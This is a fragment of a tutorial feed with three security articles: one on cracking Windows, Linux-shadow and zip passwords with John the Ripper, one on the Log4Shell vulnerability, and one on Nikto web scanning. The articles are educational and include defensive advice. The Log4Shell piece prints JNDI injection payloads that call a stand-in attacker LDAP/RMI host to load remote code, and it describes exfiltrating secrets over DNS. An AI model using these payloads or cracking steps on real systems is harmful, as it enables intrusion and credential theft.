                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Thu, 17 Nov 2022 18:13:08 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2022/11/john-the-ripper.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>If you are a pen-tester, cracking passwords is something you will be doing on a daily basis. This can include login passwords, file passwords, and almost anything that is protected using a password.</p>
<p>John the Ripper (JtR) is a popular password-cracking tool. John supports many encryption technologies for Windows and Unix systems (Mac included).</p>
<p>One remarkable feature of John is that it can autodetect the encryption for common formats. This will save you a lot of time in researching the hash formats and finding the correct tool to crack them.</p>
<p>John is also a dictionary-based tool. This means that it works with a dictionary of common passwords to compare it with the hash in hand. Here is a common password list called <a target="_blank" href="https://github.com/praetorian-inc/Hob0Rules/blob/master/wordlists/rockyou.txt.gz">rockyou.txt</a>.</p>
<p>While you can use popular wordlists like RockYou, John also has its own set of wordlists with thousands of common passwords. This makes John very effective when cracking systems with weak passwords.</p>
<p>This is how John works by default:</p>
<ul>
<li>recognize the hash type of the current hash</li>
<li>generate hashes on the fly for all the passwords in the dictionary</li>
<li>stop when a generated hash matches the current hash.</li>
</ul>
<p>This is not the only way John finds a password. You can also customize John based on your requirements. For example, you can specify the password format using the — — format flag.</p>
<p>In this article, we will first install John followed by a walkthrough of the different modes you can use. We will then use John to crack passwords for three different use cases — a Windows password, a Linux password, and a zip file password.</p>
<p>A <strong>quick disclaimer</strong> before we get started: do not use this tool for nefarious purposes. This is meant to be an educational tutorial to help you protect yourself and your clients or team from password attacks. Use this information responsibly and safely!</p>
<p>Let's get cracking.</p>
<h2 id="heading-how-to-install-john-the-ripper">How to Install John the Ripper</h2>
<p>If you are using Kali Linux, John is pre-installed. You can use John by typing the following command:</p>
<pre><code>$ john
</code></pre><p>For Ubuntu/Debian, you can get John from the apt source. Here is the command to install John in Ubuntu:</p>
<pre><code>$ apt install John
</code></pre><p>In Mac, you can find John in <a target="_blank" href="https://brew.sh/">Homebrew</a>:</p>
<pre><code>$ brew install john
</code></pre><p>For windows and other operating systems, you can <a target="_blank" href="https://www.openwall.com/john/">find the binaries here</a>.</p>
<p>Once you have installed John, try the help command to make sure your installation is working. The help command can also be used as a reference when working with John.</p>
<pre><code>$ john -h
</code></pre><p>Here is the output of the help command:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/11/image-89.png" alt="Image" width="600" height="400" loading="lazy">
<em>John help command</em></p>
<h2 id="heading-how-to-use-john-the-ripper">How to Use John the Ripper</h2>
<p>Now that we know what John is, let's look at the three modes it offers you. You will be using one of these three for most of your use cases.</p>
<ul>
<li>Single crack mode</li>
<li>Wordlist mode</li>
<li>Incremental mode</li>
</ul>
<p>Let’s look at each one of them in detail.</p>
<h3 id="heading-what-is-single-crack-mode">What is Single Crack Mode?</h3>
<p>In single-crack mode, John takes a string and generates variations of that string in order to generate a set of passwords. </p>
<p>For example, if our username is “stealth” and the password is “StEaLtH”, we can use the single mode of John to generate password variations (STEALTH, Stealth, STealth, and so on).</p>
<p>We use the “format” flag to specify the hash type and the “single” flag to let John know we want to use the single crack mode. We will also create a crack.txt file which will contain the username and the hash value of the password.</p>
<pre><code>stealth:d776dd32d662b8efbdf853837269bd725203c579
</code></pre><p>Now we can use the following command to use John’s single crack mode:</p>
<pre><code>$ john --single --format=raw-sha1 crack.txt
</code></pre><p>And here is the result. You can see that John has successfully found the correct password “StEaLtH”.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/11/image-90.png" alt="Image" width="600" height="400" loading="lazy">
<em>John single crack mode</em></p>
<p>That was fun, wasn't it? Now let’s look at the dictionary mode to crack more complicated passwords.</p>
<h3 id="heading-what-is-dictionary-mode">What is Dictionary Mode?</h3>
<p>In dictionary mode, we will provide John with a list of passwords. John will generate hashes for these on the fly and compare them with our password hash.</p>
<p>For this example, we will use the RockYou wordlist. If you are using Kali, you can find it at /usr/share/wordlists/rockyou.txt. We will also have a crack.txt file with just the password hash.</p>
<pre><code>edba955d0ea15fdef4f61726ef97e5af507430c0
</code></pre><p>Here is the command to run John in dictionary mode using the wordlist.</p>
<pre><code>$ john --wordlist=<span class="hljs-regexp">/usr/</span>share/wordlists/rockyou.txt --format=raw-sha1 crack.txt
</code></pre><p>And John finds the password pretty quickly.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/11/image-91.png" alt="Image" width="600" height="400" loading="lazy">
<em>John wordlist mode</em></p>
<p>The weaker the password is, the quicker John can figure it out. This is why it is always recommended to have strong passwords.</p>
<h3 id="heading-what-is-incremental-mode">What is Incremental Mode?</h3>
<p>Incremental mode is the most powerful mode provided by John. It tries all possible character combinations as passwords.</p>
<p>This sounds great, but there is a problem. The cracking can go on for a long time if the password is too long or if it's a combination of alphanumeric characters and symbols.</p>
<p>You will rarely use this mode unless you have no other option. In typical cases, a combination of Social Engineering attacks and wordlist mode will help you crack most of the hashes.</p>
<p>If you would like to try the incremental mode, here is the syntax.</p>
<pre><code>$ john -i:digits passwordfile.txt
</code></pre><p>Here, the -i flag tells John that we want to use the increment mode. The “digits” placeholder can be used to set the maximum number of digits in the password.</p>
<p>You can also add the “format” option to make it easier for John to start cracking.</p>
<h2 id="heading-use-cases-for-john-the-ripper">Use Cases for John the Ripper</h2>
<p>Now that you understand the different modes of John, let’s look at a few use cases.</p>
<p>We will use John to crack three types of hashes: a windows NTLM password, a Linux shadow password, and the password for a zip file.</p>
<h3 id="heading-how-to-crack-a-windows-password">How to Crack a Windows Password</h3>
<p>Let's start with Windows. In Windows, the password hashes are stored in the <a target="_blank" href="https://en.wikipedia.org/wiki/Security_Account_Manager">SAM database</a>. SAM uses the LM/NTLM hash format for passwords, so we will be using John to crack one.</p>
<p>Getting passwords from the SAM database is out of scope for this article, but let's assume you have acquired a password hash for a Windows user.</p>
<p>Here is the command to crack it:</p>
<pre><code>$ john --format=lm crack.txt
</code></pre><p>The crack.txt will contain the password hash. If John is unable to crack the password using its default wordlist, you can use the RockYou wordlist using the — — wordlist flag.</p>
<h3 id="heading-how-to-crack-a-linux-password">How to Crack a Linux Password</h3>
<p>Now, let's crack a Linux password. In Linux, there are two important files saved in the /etc folder: passwd and shadow.</p>
<ul>
<li>/etc/passwd -&gt; stores information like username, user id, login shell, and so on.</li>
<li>/etc/shadow -&gt; contains password hash, password expiry, and so on.</li>
</ul>
<p>In addition to the “john” command, John comes with a few other utilities. One of them is called “unshadow”.</p>
<p>The unshadow command combines the passwd and shadow files together into a single file. This can then be used by John to crack passwords.</p>
<p>Here is how we use the unshadow command:</p>
<pre><code>$ unshadow /etc/passwd /etc/shadow &gt; output.db
</code></pre><p>This command will combine the files together and create an output.db file. We can now crack the output.db file using John.</p>
<pre><code>$ john output.db
</code></pre><p>John tries to find the password for all the users in the passwd file and generates the output with the list of cracked passwords. Again, you can use custom wordlists via the  — — wordlist flag.</p>
<h3 id="heading-how-to-crack-a-zip-file-password">How to Crack a Zip File Password</h3>
<p>Finally, let's crack a zip file password. To do that, we first have to get the hash of the zip file’s password.</p>
<p>Like unshadow, John has another utility called zip2john. zip2john helps us to get the hash from zip files. If you are cracking a .rar file, you can use the rar2john utility.</p>
<p>Here is the syntax to get the password hash of a zip file:</p>
<pre><code>$ zip2john file.zip &gt; zip.hashes
</code></pre><p>The above command will get the hash from the zip file and store it in the zip.hashes file. You can then use John to crack the hash.</p>
<pre><code>$john zip.hashes
</code></pre><p>John also has several other functionalities that will help you crack a variety of passwords. You can find the <a target="_blank" href="https://www.openwall.com/john/doc/">complete documentation for John</a> here.</p>
<h2 id="heading-how-to-defend-against-password-attacks">How to Defend Against Password Attacks</h2>
<p>So far we have seen how to crack passwords with John the Ripper. But how do we defend against these types of brute-force attacks?</p>
<p>The simplest way to defend against password attacks is to set a strong password. The stronger the password is, the harder it is to crack.</p>
<p>The second step is to stop using the same passwords for multiple sites. If one site gets hacked, your password will be exposed to the internet. A hacker can then use the email/password combination to test your credentials across other sites. You can check <a target="_blank" href="https://haveibeenpwned.com/">if your password is on the internet</a> here.</p>
<p>The final step would be to generate random passwords and use a password manager. There are a variety of options including the Chrome built-in <a target="_blank" href="https://passwords.google.com/">Google password manager</a>. If you use a strong password for each site you use, it becomes extremely hard to crack your password.</p>
<h2 id="heading-summary">Summary</h2>
<p>John is a popular and powerful password-cracking tool. It is often used by both penetration testers and black hat hackers for its versatility and ease of use. </p>
<p>From automated hash discovery to dictionary-based attacks, John is a great tool to have in your pentesting toolkit.</p>
<p>Hope this article helped you to understand John the Ripper in detail. You can <a target="_blank" href="https://www.linkedin.com/in/manishmshiva/">connect with me here</a> or <a target="_blank" href="https://stealthsecurity.io/">visit my blog here</a>.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Java Log4JShell Vulnerability – What I Learned About it This Week ]]>
                </title>
                <description>
                    <![CDATA[ Last Thursday, a vulnerability was disclosed in the Log4J logging library affecting many Java applications worldwide.  The vulnerability is called Log4Shell (CVE-2021–44228). It allows an attacker to inject a crafted payload anywhere in the requests ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/java-log4jshell-vulnerability/</link>
                <guid isPermaLink="false">66bb8a4c0eaca026d8cfa5c4</guid>
                
                    <category>
                        <![CDATA[ Java ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                    <category>
                        <![CDATA[ vulnerabilities ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Nairuz Abulhul ]]>
                </dc:creator>
                <pubDate>Thu, 23 Dec 2021 21:01:00 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2021/12/photo-1542382257-80dedb725088.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Last Thursday, a vulnerability was disclosed in the Log4J logging library affecting many Java applications worldwide. </p>
<p>The vulnerability is called Log4Shell (CVE-2021–44228). It allows an attacker to inject a crafted payload anywhere in the requests that get parsed and executed by the vulnerable application.</p>
<p>There are a lot of resources out there on Twitter, Reddit, and YouTube about this epic vulnerability. I wanted to create this post to summarize the main things I learned, ways to test it as pentester, and the mitigation controls that help prevent the exploitation of this vulnerability.</p>
<h2 id="heading-log4shell-vulnerability-overview">Log4Shell Vulnerability Overview</h2>
<p>The <strong>Log4Shell</strong> vulnerability is a Java JNDI injection. It's not a new vulnerability, though – there was a <a target="_blank" href="https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf">Blackhat talk in 2016 about it by Alvaro Munoz &amp; Oleksandr Mirosh</a>.</p>
<p>Older versions of the library <strong>1. x</strong> are not vulnerable to code execution. The logs are encapsulated in string format as they should be, and they don’t get parsed.</p>
<p>Interestingly, the vulnerability was introduced with the new <strong>JNDI lookup</strong> feature in version <strong>2.0–2.15.0</strong> that allows any inputs to be parsed and interpreted by the application no matter where it originates. </p>
<p>These include web applications, databases, email servers, routers, endpoint agents, mobile apps, IoT devices — you name it (if it runs Java, it could be vulnerable).</p>
<p>Below is an excellent diagram by Rob Fuller <a target="_blank" href="https://twitter.com/mubix/status/1470430085169745920">(@mubix)</a> showing this vulnerability’s impact. </p>
<p>It was scary when I started looking around the room for all the devices that could be vulnerable. I tested my phone, fitness watch, and washing machine (because why not!!) through its mobile app.</p>
<p>I got DNS callbacks from all of them. 😱</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/12/Log4J-Explanation-Rob_Fuller_Mubix-1.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><strong>JNDI</strong>, or Java Naming Directory Interface, is an API that allows the Java application to perform searches on objects based on their names. It supports several directory services like <strong>LDAP, RMI, DNS, and CORBA</strong>.</p>
<p>Most of the payloads I have seen use LDAP, DNS, and RMI protocols to perform the DNS requests.</p>
<p>For the RCE pocs, the attacker needs to set up an LDAP server to allow the vulnerable application to connect to it. So, the targeted applications must allow LDAP outgoing connections to the attacker-controlled server to load the malicious object.</p>
<p><strong>DNS requests</strong> are insufficient to confirm if the application is vulnerable to remote code execution. However, it is still impactful, as these requests can exfiltrate sensitive data that helps compromise the targets.</p>
<h2 id="heading-impact-of-the-log4shell-vulnerability">Impact of the Log4Shell Vulnerability</h2>
<p>The main impacts of this vulnerability are:</p>
<ul>
<li>Data Exfiltration through DNS</li>
<li>Remote Code Execution with malicious Java objects and Rogue LDAP servers</li>
</ul>
<h2 id="heading-patched-version">Patched Version</h2>
<p>The Log4J <strong>version 2.17</strong> is patched.<strong>2.15.0 and 2.16.0</strong> patches were bypassed while writing this article.</p>
<h2 id="heading-how-attackers-exploit-log4shell">How Attackers Exploit Log4Shell 💻</h2>
<p>The attacker sets up a rogue LDAP server, creates an exploit payload class, and stores it as an LDAP object such as <strong>“Log4JPayload.class”</strong> to get referenced later.</p>
<p>Then, the attacker inserts the crafted JNDI injection to any requests that are likely to be logged, such as the request paths, HTTP headers, Filenames, Document/Images EXIF and so on <strong>(see below injection points)</strong>.</p>
<h3 id="heading-payload-examples">Payload Examples</h3>
<pre><code>${<span class="hljs-attr">jndi</span>:ldap:<span class="hljs-comment">//attackermachine:portnumber/Log4JPayload.class} </span>

${<span class="hljs-attr">jndi</span>:rmi:<span class="hljs-comment">//attackermachine:portnumber/Log4JPayload.class}</span>
</code></pre><p>When the malicious requests get logged, the Log4J library will parse the injected inputs and reach out to the rogue LDAP server to load the malicious class.</p>
<p>The application then executes the referenced class, and the attacker gains remote code execution on the vulnerable application.</p>
<h2 id="heading-injectionpoints">InjectionPoints</h2>
<p>One main injection point is in <strong>request paths</strong> like in the example below:
<code>GET /${jndi:ldap://c6xppah2n.dnslog.cn/d} HTTP/1.1</code></p>
<p>Another is in <strong>HTTP Headers</strong>. An attacker can inject the payloads in any HTTP Headers. All of them are valid injection points when conducting an application testing.  <a target="_blank" href="https://musana.net/2021/12/13/log4shell-Quick-Guide/">Musa Şana</a> compiled a more extensive list.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/12/1_pyg0Y8AQNnklLdN-oqq8jg.png" alt="Image" width="600" height="400" loading="lazy">
<em>Injection Points</em></p>
<p>It is essential to remember that the exploit doesn’t result in an immediate callback all the time. It sometimes takes minutes to hours to get something back. </p>
<p>I waited around 25 minutes before getting the first callbacks from my watch when I tested it. So for black-box testing, give the application sufficient time before deciding whether it's vulnerable or not. Be patient ⏰!</p>
<h2 id="heading-log4shell-payloads">Log4Shell Payloads</h2>
<p>There are so many payloads that have been posted on Twitter in the last couple of days that are worth going over. Some payloads use obfuscation to bypass the popular WAFs like Akamai, Cloudflare, and AWS WAF. </p>
<p>Below is a screenshot of the payloads collected from Twitter. </p>
<p>I compiled the interesting ones on <a target="_blank" href="https://carbon.now.sh/kUtwFTZzm3isgHSwWwKk">Carbon snippet</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/12/image-54.png" alt="Image" width="600" height="400" loading="lazy">
<em>Collected Payloads from Twitter - [https://carbon.now.sh/kUtwFTZzm3isgHSwWwKk](https://carbon.now.sh/kUtwFTZzm3isgHSwWwKk" rel="noopener ugc nofollow)</em></p>
<h2 id="heading-data-exfiltration-examples">Data Exfiltration Examples</h2>
<p>Suppose an application is not vulnerable to remote code execution or blocks outgoing LDAP connections. In that case, an attacker or pentester can still leverage this vulnerability to extract sensitive information such as secret keys, tokens, and configuration files of the application itself and the hosted infrastructure. </p>
<p>An attacker can then leverage the information to choose the appropriate attack vector to compromise the targeted application.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/12/dns.png" alt="Image" width="600" height="400" loading="lazy">
<em>Carbon Sinppet - [https://carbon.now.sh/kToUK7dCk0KJkri0qvXf](https://carbon.now.sh/kToUK7dCk0KJkri0qvXf" rel="noopener ugc nofollow)</em></p>
<h2 id="heading-auotmated-checks">Auotmated Checks</h2>
<p>Automated scans help during a black-box pentest to perform cursory checks on many hosts. Below is the list of major known scanning tools that can help you achieve that:</p>
<ul>
<li>Burp Extensions:  <a target="_blank" href="https://portswigger.net/bappstore/b011be53649346dd87276bca41ce8e8f">Log4Shell Scanner</a> </li>
<li><a target="_blank" href="https://github.com/fullhunt/log4j-scan">Log4J Scanner by mazen160</a> </li>
<li>Nuclei Template for Log4J — id:  <a target="_blank" href="https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-44228.yaml">CVE-2021–44228</a> </li>
<li>Nmap NSE Script —  <a target="_blank" href="https://github.com/Diverto/nse-log4shell">nse-log4shell</a> </li>
</ul>
<h2 id="heading-dns-log-monitor-services">DNS Log Monitor Services</h2>
<p>To quickly test the application, we use the below services to create a DNS token for our payload and see if we get the callbacks.</p>
<ul>
<li><strong><a target="_blank" href="https://canarytokens.org/generate">Canary Tokens</a></strong></li>
<li><strong><a target="_blank" href="http://www.dnslog.cn/">DNSlog.cn</a></strong> </li>
<li><strong><a target="_blank" href="https://app.interactsh.com/#/">Interactsh</a></strong></li>
<li><strong>Burp Collaborator</strong></li>
</ul>
<h2 id="heading-vulnerable-apps-to-test">Vulnerable Apps to Test:🔥</h2>
<p>There are a number of great, ready-to-spin-up vulnerable applications on GitHub, PentesterLabs, and TryHackMe for testing this vulnerability. </p>
<p>My favorite is the Log4Shell app (it requires some setup and can show you behind the scenes of setting up a rogue LDAP server and connecting to it). However, if you want to test this quickly, TryHackMe Solar room is the way to go.</p>
<ul>
<li><strong>Log4jPwn</strong> — https://github.com/leonjza/log4jpwn</li>
<li><strong>Log4Shell</strong> — https://github.com/kozmer/log4j-shell-poc</li>
<li><strong>PentestLabs Challenges</strong> :  <a target="_blank" href="https://pentesterlab.com/exercises/log4j_rce/course"><strong>Log4J RCE</strong></a> ,  <a target="_blank" href="https://pentesterlab.com/exercises/log4j_rce_ii/course"><strong>Log4J RCE II</strong></a> </li>
<li><strong>TryHackMe Solar Room</strong> by John Hammond — https://tryhackme.com/room/solar [free room]</li>
</ul>
<h2 id="heading-log4shell-mitigations">Log4Shell Mitigations</h2>
<p>In order to protect yourself from this vulnerability, here are some steps you can take:</p>
<ul>
<li>Upgrade to the latest version of Log4J — <strong>v2.17.0.</strong> </li>
<li><p>Disable lookups within messages <code>log4j2.formatMsgNoLookups=true</code> </p>
</li>
<li><p>Remove the JndiLookup class from the classpath <code>zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class</code></p>
</li>
<li><p>Apply firewall rules to limit communications to only a few allowable hosts, not with everyone.  <a target="_blank" href="https://twitter.com/bettersafetynet"><strong>Mick Douglas</strong></a> explains it well in his Tweet about the IMMA model  <a target="_blank" href="https://twitter.com/bettersafetynet/status/1469470983190986754"><strong>“Isolate,” “Minimize,” “Monitor,” and “Active Defense”</strong></a>!</p>
</li>
</ul>
<p>That’s all for today. This was a hell of a week. I learned many new things about Java injections and exploitation.</p>
<p>Thanks for reading!!</p>
<h2 id="heading-learn-more-about-log4jshell">Learn More About Log4JShell</h2>
<ul>
<li><a target="_blank" href="https://blogs.juniper.net/en-us/security/apache-log4j-vulnerability-cve-2021-44228-raises-widespread-concerns">Apache Log4j Vulnerability CVE-2021-44228 Raises widespread Concerns</a></li>
<li><a target="_blank" href="https://www.youtube.com/watch?v=oC2PZB5D3Ys">What do you need to know about the log4j (Log4Shell) vulnerability? by SANS Institute </a> </li>
<li><a target="_blank" href="https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j">Digging deeper into Log4Shell - 0Day RCE exploit found in Log4j</a> </li>
<li><a target="_blank" href="https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/">Apache log4j Vulnerability CVE-2021-44228: Analysis and Mitigations</a> </li>
<li><a target="_blank" href="https://musana.net/2021/12/13/log4shell-Quick-Guide/">log4shell - Quick Guide</a> </li>
<li><a target="_blank" href="https://medium.com/geekculture/log4shell-zero-day-exploit-walkthrough-f42352612ca6">Log4Shell Zero-day Exploit Walkthrough</a></li>
<li><a target="_blank" href="https://www.youtube.com/watch?v=7qoPDq41xhQ&amp;t=35s">CVE-2021-44228 - Log4j - MINECRAFT VULNERABLE! (and SO MUCH MORE)</a></li>
<li><a target="_blank" href="https://www.youtube.com/watch?v=Y8a5nB-vy78&amp;t=2494s">A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land </a> </li>
<li><a target="_blank" href="https://blog.shiftleft.io/log4shell-jndi-injection-via-attackable-log4j-6bfea2b4896e">Log4Shell : JNDI Injection via Attackable Log4J</a> </li>
</ul>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Web Server Scanning With Nikto – A Beginner's Guide ]]>
                </title>
                <description>
                    <![CDATA[ Websites are a critical part of almost every business or organization in the world. From your nearby florist to global brands, almost everyone uses a website as part of their branding. Unfortunately, websites are also one of the most unsecured gatewa... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/an-introduction-to-web-server-scanning-with-nikto/</link>
                <guid isPermaLink="false">66d035ac64be048ac359a2fb</guid>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Wed, 14 Jul 2021 07:18:59 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2021/07/Nikto.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Websites are a critical part of almost every business or organization in the world. From your nearby florist to global brands, almost everyone uses a website as part of their branding.</p>
<p>Unfortunately, websites are also one of the most unsecured gateways through which an attacker can exploit your company.</p>
<p>Since most websites are not backed by strong technical teams, it is important to understand website and web application security to protect your organization.</p>
<h2 id="heading-introducing-nikto">Introducing Nikto</h2>
<p>Nikto is an open source web server and web application scanner. Nikto can perform comprehensive tests against web servers for multiple security threats, including over 6700 potentially dangerous files/programs. Nikto can also perform checks for outdated web servers software, and version-specific problems.</p>
<p>Nikto was written and maintained by Sullo, CIRT, Inc. It is written in Perl and was originally released in late 2001.</p>
<p>It is currently maintained by David Lodge (<a target="_blank" href="https://tautology.org.uk/blog/">you can find his blog here</a>), though other contributors have been involved in the project as well.</p>
<p><strong>Here are some of the cool things that Nikto can do:</strong></p>
<ul>
<li><p>Find SQL injection, XSS, and other common vulnerabilities</p>
</li>
<li><p>Identify installed software (via headers, favicons, and files)</p>
</li>
<li><p>Guess subdomains</p>
</li>
<li><p>Includes support for SSL (HTTPS) websites</p>
</li>
<li><p>Saves reports in plain text, XML, HTML or CSV</p>
</li>
<li><p>“Fish” for content on web servers</p>
</li>
<li><p>Report unusual headers</p>
</li>
<li><p>Check for server configuration items like multiple index files, HTTP server options, and so on</p>
</li>
<li><p>Has full HTTP proxy support</p>
</li>
<li><p>Guess credentials for authorization (including many default username/password combinations)</p>
</li>
<li><p>Is configured with a template engine to easily customize reports</p>
</li>
<li><p>Exports to Metasploit</p>
</li>
</ul>
<h2 id="heading-how-to-install-nikto">How to Install Nikto</h2>
<p>Since Nikto is a Perl-based program, it can run on most operating systems with the necessary Perl interpreter installed.</p>
<p>If you’re using Kali Linux, Nikto comes preinstalled and will be present in the “Vulnerability Analysis” category.</p>
<p>If you don’t have Nikto on Kali (for some reason), you can get Nikto from <a target="_blank" href="https://github.com/sullo/nikto">GitHub</a> or just use the “apt install nikto” command.</p>
<p>For installing Nikto on Windows, you must first install the Perl interpreter. It can be downloaded from here: [<a target="_blank" href="null">https://www.activestate.com/activeperl](https://www.activestate.com/products/perl/)\</a></p>
<p>For MacOS, you can use homebrew.</p>
<p><a target="_blank" href="https://github.com/sullo/nikto/wiki">Complete installation instructions for all platforms can be found here</a>.</p>
<h2 id="heading-how-to-scan-with-nikto">How to Scan with Nikto</h2>
<p>Now that you know what Nikto is and how to install it, let's go ahead and run some scans.</p>
<blockquote>
<p>Warning:</p>
<p>Before we get into scanning, I want to emphasize that I am not responsible for any damage you do trying to attack systems. Doing so is illegal.</p>
<p>You should have written permission before you ever try to scan a system or network.</p>
</blockquote>
<p>Since Nikto is a command-line tool, you can use the help command to get a list of options:</p>
<pre><code class="lang-javascript">&gt; nikto -Help
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/07/image-63.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h3 id="heading-how-to-scan-a-domain">How to Scan a Domain</h3>
<p>To perform a simple domain scan, use the <code>-h</code> (host) flag:</p>
<pre><code class="lang-javascript">&gt; nikto -h scanme.nmap.org
</code></pre>
<p>Nikto will perform a basic scan on port 80 for the given domain and give you a complete report based on the scans performed:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/07/image-66.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><em>Nikto Domain Scan</em></p>
<h3 id="heading-how-to-scan-a-domain-with-ssl-enabled">How to Scan a Domain with SSL Enabled</h3>
<p>For domains with HTTPS enabled, you have to specify the <code>-ssl</code> flag to scan port 443:</p>
<pre><code class="lang-javascript">&gt; nikto -h https:<span class="hljs-comment">//nmap.org -ssl</span>
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/07/image-67.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><em>Nikto SSL Enabled Scan</em></p>
<h3 id="heading-how-to-scan-an-ip-address">How to Scan an IP Address</h3>
<p>Sometimes you just want to scan an IP address where a web server is hosted.</p>
<p>To do that, use the same <code>-h</code> flag you used for domain scanning:</p>
<pre><code class="lang-javascript">&gt; nikto -h <span class="hljs-number">45.33</span><span class="hljs-number">.32</span><span class="hljs-number">.156</span>
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/07/image-68.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><em>Nikto IP Address Scan</em></p>
<h3 id="heading-how-to-scan-multiple-ip-addresses-from-a-text-file">How to Scan Multiple IP Addresses From a Text File</h3>
<p>To scan multiple IP addresses or domains, just put them in a text file separated by newlines. Nikto will know that the scan has to be performed on each domain / IP address.</p>
<p>Let's assume we have a file named domains.txt with two domain names:</p>
<ul>
<li><p>scanme.nmap.org</p>
</li>
<li><p>nmap.org.</p>
</li>
</ul>
<p>To scan both of them with Nikto, run the following command:</p>
<pre><code class="lang-javascript">&gt; nikto -h domains.txt
</code></pre>
<p>Nikto will start scanning the domains one after the other:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/07/image-69.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><em>Nikto Multi Domain Scan</em></p>
<h3 id="heading-how-to-export-scan-results">How to Export Scan Results</h3>
<p>Nikto scans take a while to complete. When you are a professional pen-tester, you don't want to repeat scans very often unless there are major changes to the web application.</p>
<p>To export a scan result, use the <code>-o</code> flag followed by the file name:</p>
<pre><code class="lang-javascript">&gt; nikto -h scanme.nmap.org -o scan.txt
</code></pre>
<p>You can also use the <code>-Format</code> flag to specify an output format. You can choose from CSV, HTML, nbe (<a target="_blank" href="https://www.cs.cmu.edu/~dwendlan/personal/nessus.html">Nessus</a> format), SQL, txt, and XML:</p>
<pre><code class="lang-javascript">&gt; nikto -h scanme.nmap.org -o scan.csv -Format csv
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/07/image-65.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><em>Nikto Output formats</em></p>
<h2 id="heading-how-to-pair-nikto-with-metasploit"><strong>How to Pair Nikto with Metasploit</strong></h2>
<p>Metasploit is a powerful framework that lets you do everything from scanning to exploiting systems. Professional pen-testers use Metasploit almost every day. I wrote an article on Metasploit recently which <a target="_blank" href="https://www.freecodecamp.org/news/learn-metasploit-for-beginners/">you can find here</a>.</p>
<p>Nikto offers a way to export scans to Metasploit so that it gets easier when you try to exploit systems based on the scan results from Nikto.</p>
<p>To do that, append the <code>-Format msf+</code> flag to the end of a scan:</p>
<pre><code class="lang-javascript">$ nikto -h &lt;domain/ip&gt; -Format msf+
</code></pre>
<h2 id="heading-nikto-alternatives"><strong>Nikto Alternatives</strong></h2>
<p>It is always good to have a backup tool in your pen-testing arsenal. Some of the best Nikto alternatives are:</p>
<ul>
<li><p><a target="_blank" href="https://www.arachni-scanner.com/"><strong>Arachni</strong></a>: An open source, modular, high-performance Ruby framework with a focus on evaluating the security of web applications.</p>
</li>
<li><p><a target="_blank" href="https://www.zaproxy.org/"><strong>OWASP Zed Attack Proxy (ZAP)</strong></a>: An integrated pen-testing tool that provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.</p>
</li>
<li><p><a target="_blank" href="https://tools.kali.org/web-applications/skipfish"><strong>Skipfish</strong></a>: A fully automated, active web application security reconnaissance tool. Written in C to be fast, highly optimized HTTP handling, and minimal CPU footprint — easily achieving 2000 requests per second with responsive targets.</p>
</li>
</ul>
<h2 id="heading-tldr">TLDR;</h2>
<p>Nikto is an open source scanner that helps you find potential security threats in your websites and web applications.</p>
<p>It fully automates vulnerability scanning and can find issues like service misconfigurations, insecure files/programs, and thousands of other security issues.</p>
<p>Great alternatives include Arachini, OWASP ZAP, and Skipfish.</p>
<h2 id="heading-references">References</h2>
<ul>
<li><p><a target="_blank" href="https://cirt.net/Nikto2">https://cirt.net/Nikto2</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/sullo/nikto">https://github.com/sullo/nikto</a></p>
</li>
<li><p><a target="_blank" href="https://linuxhint.com/scanning_vulnerabilities_nikto/">https://linuxhint.com/scanning_vulnerabilities_nikto/</a></p>
</li>
</ul>
<p>Loved this article? <a target="_blank" href="http://tinyletter.com/manishmshiva"><strong>Join my Newsletter</strong></a> and get a summary of my articles and videos every Monday morning. You can also <a target="_blank" href="https://www.manishmshiva.com/"><strong>visit my website here</strong></a>.</p>
 ]]>
